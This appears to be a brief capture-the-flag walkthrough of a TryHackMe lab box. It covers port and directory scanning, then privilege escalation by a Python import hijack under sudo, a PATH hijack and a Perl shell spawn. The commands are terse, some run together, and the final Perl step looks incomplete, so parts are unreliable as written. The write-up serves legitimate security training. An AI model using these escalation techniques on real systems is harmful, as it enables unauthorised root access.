Monderland TryHackMe – CTF Writeup

Nmap Scan – Find Open Ports

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nmap -sC -sV <IP>
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→ Open: 22 (SSH), 80 (HTTP)

Directory Bruteforce – Find Hidden Paths

gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt

→ Found: /img , /r

Check /img/white_rabbit_1.jpg:

strings white_rabbit_1.jpg

→ Hidden text: "follow the rabbit"

Dig into /r/a/b/b/i/t and check source → get Alice's password

3 SSH as Alice

ssh alice@<IP> cat user.txt

→ User flag

Alice → Rabbit (Python Sudo Hijack)

Check sudo permissions:

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sudo -l

→ Can run script.py as rabbit.

Hijack import:

echo 'import os; os.system("/bin/bash")' > /home/alice/random.py sudo python3 /home/alice/script.py whoami # rabbit

Rabbit → Hatter (Path Hijack)

echo "/bin/bash" > /tmp/date chmod +x /tmp/date export PATH=/tmp:\$PATH ./teaParty whoami # hatter

6 Hatter → Root (Perl SUID)

perl -e 'exec "/bin/sh";'
whoami # root
cd /root
cat root.txt

→ Root flag

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